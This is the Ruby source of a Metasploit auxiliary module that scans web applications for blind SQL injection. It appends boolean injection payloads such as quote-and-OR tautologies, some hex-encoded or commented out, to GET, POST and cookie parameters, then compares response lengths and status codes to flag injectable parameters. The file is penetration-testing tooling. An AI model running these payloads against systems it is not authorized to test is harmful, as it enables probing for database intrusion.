Path: blob/master/modules/auxiliary/scanner/http/blind_sql_query.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::WmapScanUniqueQuery8include Msf::Auxiliary::Scanner9include Msf::Auxiliary::Report1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'HTTP Blind SQL Injection Scanner',16'Description' => %q{17This module identifies the existence of Blind SQL injection issues18in GET/POST Query parameters values.19},20'Author' => [ 'et [at] cyberspace.org' ],21'License' => BSD_LICENSE,22'Notes' => {23'Reliability' => UNKNOWN_RELIABILITY,24'Stability' => UNKNOWN_STABILITY,25'SideEffects' => UNKNOWN_SIDE_EFFECTS26}27)28)2930register_options(31[32OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST'] ]),33OptString.new('PATH', [ true, "The path/file to test SQL injection", '/index.asp']),34OptString.new('QUERY', [ false, "HTTP URI Query", '']),35OptString.new('DATA', [ false, "HTTP Body Data", '']),36OptString.new('COOKIE', [ false, "HTTP Cookies", ''])37]38)39end4041def run_host(ip)42# Force http verb to be upper-case, because otherwise some web servers such as43# Apache might throw you a 50144http_method = datastore['METHOD'].upcase4546gvars = Hash.new()47pvars = Hash.new()48cvars = Hash.new()4950rnum = rand(10000)5152inivalstr = [53[54'numeric',55" AND #{rnum}=#{rnum} ",56" AND #{rnum}=#{rnum + 1} "57],58[59'single quotes',60"' AND '#{rnum}'='#{rnum}",61"' AND '#{rnum}'='#{rnum + 1}"62],63[64'double quotes',65"\" AND \"#{rnum}\"=\"#{rnum}",66"\" AND \"#{rnum}\"=\"#{rnum + 1}"67],68[69'OR single quotes uncommented',70"' OR '#{rnum}'='#{rnum}",71"' OR '#{rnum}'='#{rnum + 1}"72],73[74'OR single quotes closed and commented',75"' OR '#{rnum}'='#{rnum}'--",76"' OR '#{rnum}'='#{rnum + 1}'--"77],78[79'hex encoded OR single quotes uncommented',80"'%20OR%20'#{rnum}'%3D'#{rnum}",81"'%20OR%20'#{rnum}'%3D'#{rnum + 1}"82],83[84'hex encoded OR single quotes closed and commented',85"'%20OR%20'#{rnum}'%3D'#{rnum}'--",86"'%20OR%20'#{rnum}'%3D'#{rnum + 1}'--"87]88]8990# Creating strings with true and false values91valstr = []92inivalstr.each do |vstr|93# With true values94valstr << vstr95# With false values, appending 'x' to real value96valstr << ['False char ' + vstr[0], 'x' + vstr[1], 'x' + vstr[2]]97# With false values, appending '0' to real value98valstr << ['False num ' + vstr[0], '0' + vstr[1], '0' + vstr[2]]99end100101# valstr.each do |v|102# print_status("#{v[0]}")103# print_status("#{v[1]}")104# print_status("#{v[2]}")105# end106107#108# Dealing with empty query/data and making them hashes.109#110111if !datastore['QUERY'] or datastore['QUERY'].empty?112datastore['QUERY'] = nil113gvars = nil114else115gvars = queryparse(datastore['QUERY']) # Now its a Hash116end117118if !datastore['DATA'] or datastore['DATA'].empty?119datastore['DATA'] = nil120pvars = nil121else122pvars = queryparse(datastore['DATA'])123end124125if !datastore['COOKIE'] or datastore['COOKIE'].empty?126datastore['COOKIE'] = nil127cvars = nil128else129cvars = queryparse(datastore['COOKIE'])130end131132verifynr = 2133134i = 0135k = 0136c = 0137138normalres = nil139140verifynr.times do |j|141# SEND NORMAL REQUEST142begin143normalres = send_request_cgi({144'uri' => normalize_uri(datastore['PATH']),145'vars_get' => gvars,146'method' => http_method,147'ctype' => 'application/x-www-form-urlencoded',148'cookie' => datastore['COOKIE'],149'data' => datastore['DATA']150}, 20)151rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout152rescue ::Timeout::Error, ::Errno::EPIPE153end154155if not normalres156print_error("No response")157return158else159if i == 0160k = normalres.body.length161c = normalres.code.to_i162else163if k != normalres.body.length164print_error("Normal response body vary")165return166end167if c != normalres.code.to_i168print_error("Normal response code vary")169return170end171end172end173end174175print_status("[Normal response body: #{k} code: #{c}]")176177pinj = false178179valstr.each do |tarr|180# QUERY181if gvars182gvars.each do |key, value|183vprint_status("- Testing '#{tarr[0]}' Parameter #{key}:")184185# SEND TRUE REQUEST186testgvars = queryparse(datastore['QUERY']) # Now its a Hash187testgvars[key] = testgvars[key] + tarr[1]188t = testgvars[key]189190begin191trueres = send_request_cgi({192'uri' => normalize_uri(datastore['PATH']),193'vars_get' => testgvars,194'method' => http_method,195'ctype' => 'application/x-www-form-urlencoded',196'cookie' => datastore['COOKIE'],197'data' => datastore['DATA']198}, 20)199rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout200rescue ::Timeout::Error, ::Errno::EPIPE201end202203# SEND FALSE REQUEST204testgvars = queryparse(datastore['QUERY']) # Now its a Hash205testgvars[key] = testgvars[key] + tarr[2]206207begin208falseres = send_request_cgi({209'uri' => normalize_uri(datastore['PATH']),210'vars_get' => testgvars,211'method' => http_method,212'ctype' => 'application/x-www-form-urlencoded',213'cookie' => datastore['COOKIE'],214'data' => datastore['DATA']215}, 20)216rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout217rescue ::Timeout::Error, ::Errno::EPIPE218end219220pinja = false221pinjb = false222pinjc = false223pinjd = false224225pinja = detection_a(normalres, trueres, falseres, tarr)226pinjb = detection_b(normalres, trueres, falseres, tarr)227pinjc = detection_c(normalres, trueres, falseres, tarr)228pinjd = detection_d(normalres, trueres, falseres, tarr)229230if pinja or pinjb or pinjc or pinjd231print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")232print_good("[#{t}]")233234report_web_vuln(235:host => ip,236:port => rport,237:vhost => vhost,238:ssl => ssl,239:path => normalize_uri(datastore['PATH']),240:method => http_method,241:pname => key,242:proof => "blind sql inj.",243:risk => 2,244:confidence => 50,245:category => 'SQL injection',246:description => "Blind sql injection of type #{tarr[0]} in param #{key}",247:name => 'Blind SQL injection'248)249else250vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")251end252end253end254255# DATA256if pvars257pvars.each do |key, value|258print_status("- Testing '#{tarr[0]}' Parameter #{key}:")259260# SEND TRUE REQUEST261testpvars = queryparse(datastore['DATA']) # Now its a Hash262testpvars[key] = testpvars[key] + tarr[1]263t = testpvars[key]264265pvarstr = ""266testpvars.each do |tkey, tvalue|267if pvarstr268pvarstr << '&'269end270pvarstr << tkey + '=' + tvalue271end272273begin274trueres = send_request_cgi({275'uri' => normalize_uri(datastore['PATH']),276'vars_get' => gvars,277'method' => http_method,278'ctype' => 'application/x-www-form-urlencoded',279'cookie' => datastore['COOKIE'],280'data' => pvarstr281}, 20)282rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout283rescue ::Timeout::Error, ::Errno::EPIPE284end285286# SEND FALSE REQUEST287testpvars = queryparse(datastore['DATA']) # Now its a Hash288testpvars[key] = testpvars[key] + tarr[2]289290pvarstr = ""291testpvars.each do |tkey, tvalue|292if pvarstr293pvarstr << '&'294end295pvarstr << tkey + '=' + tvalue296end297298begin299falseres = send_request_cgi({300'uri' => normalize_uri(datastore['PATH']),301'vars_get' => gvars,302'method' => http_method,303'ctype' => 'application/x-www-form-urlencoded',304'cookie' => datastore['COOKIE'],305'data' => pvarstr306}, 20)307rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout308rescue ::Timeout::Error, ::Errno::EPIPE309end310311pinja = false312pinjb = false313pinjc = false314pinjd = false315316pinja = detection_a(normalres, trueres, falseres, tarr)317pinjb = detection_b(normalres, trueres, falseres, tarr)318pinjc = detection_c(normalres, trueres, falseres, tarr)319pinjd = detection_d(normalres, trueres, falseres, tarr)320321if pinja or pinjb or pinjc or pinjd322print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")323print_good("[#{t}]")324325report_web_vuln(326:host => ip,327:port => rport,328:vhost => vhost,329:ssl => ssl,330:path => datastore['PATH'],331:method => http_method,332:pname => key,333:proof => "blind sql inj.",334:risk => 2,335:confidence => 50,336:category => 'SQL injection',337:description => "Blind sql injection of type #{tarr[0]} in param #{key}",338:name => 'Blind SQL injection'339)340else341vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")342end343end344end345end346end347348def detection_a(normalr, truer, falser, tarr)349# print_status("A")350351# DETECTION A352# Very simple way to compare responses, this can be improved a lot , at this time just the simple way353354if normalr and truer355# Very simple way to compare responses, this can be improved a lot , at this time just the simple way356reltruesize = truer.body.length - (truer.body.scan(/#{tarr[1]}/).length * tarr[1].length)357normalsize = normalr.body.length358359# print_status("normalsize #{normalsize} truesize #{reltruesize}")360361if reltruesize == normalsize362if falser363relfalsesize = falser.body.length - (falser.body.scan(/#{tarr[2]}/).length * tarr[2].length)364365# print_status("falsesize #{relfalsesize}")366367if reltruesize > relfalsesize368print_status("Detected by test A")369return true370else371return false372end373else374vprint_status("NO False Response.")375end376else377vprint_status("Normal and True requests are different.")378end379else380print_status("No response.")381end382383return false384end385386def detection_b(normalr, truer, falser, tarr)387# print_status("B")388389# DETECTION B390# Variance on res body391392if normalr and truer393if falser394# print_status("N: #{normalr.body.length} T: #{truer.body.length} F: #{falser.body.length} T1: #{tarr[1].length} F2: #{tarr[2].length} #{tarr[1].length+tarr[2].length}")395396if (truer.body.length - tarr[1].length) != normalr.body.length and (falser.body.length - tarr[2].length) == normalr.body.length397print_status("Detected by test B")398return true399end400if (truer.body.length - tarr[1].length) == normalr.body.length and (falser.body.length - tarr[2].length) != normalr.body.length401print_status("Detected by test B")402return true403end404end405end406407return false408end409410def detection_c(normalr, truer, falser, tarr)411# print_status("C")412413# DETECTION C414# Variance on res code of true or false statements415416if normalr and truer417if falser418if truer.code.to_i != normalr.code.to_i and falser.code.to_i == normalr.code.to_i419print_status("Detected by test C")420return true421end422if truer.code.to_i == normalr.code.to_i and falser.code.to_i != normalr.code.to_i423print_status("Detected by test C")424return true425end426end427end428429return false430end431432def detection_d(normalr, truer, falser, tarr)433# print_status("D")434435# DETECTION D436# Variance PERCENTAGE MIN MAX on res body437438# 2% 50%439max_diff_perc = 2440min_diff_perc = 50441442if normalr and truer443if falser444nl = normalr.body.length445tl = truer.body.length446fl = falser.body.length447448if nl == 0449nl = 1450end451if tl == 0452tl = 1453end454if fl == 0455fl = 1456end457458ntmax = [ nl, tl ].max459ntmin = [ nl, tl ].min460diff_nt_perc = ((ntmax - ntmin) * 100) / (ntmax)461diff_nt_f_perc = ((ntmax - fl) * 100) / (ntmax)462463if diff_nt_perc <= max_diff_perc and diff_nt_f_perc > min_diff_perc464print_status("Detected by test D")465return true466end467468nfmax = [ nl, fl ].max469nfmin = [ nl, fl ].min470diff_nf_perc = ((nfmax - nfmin) * 100) / (nfmax)471diff_nf_t_perc = ((nfmax - tl) * 100) / (nfmax)472473if diff_nf_perc <= max_diff_perc and diff_nf_t_perc > min_diff_perc474print_status("Detected by test D")475return true476end477end478end479480return false481end482end483484485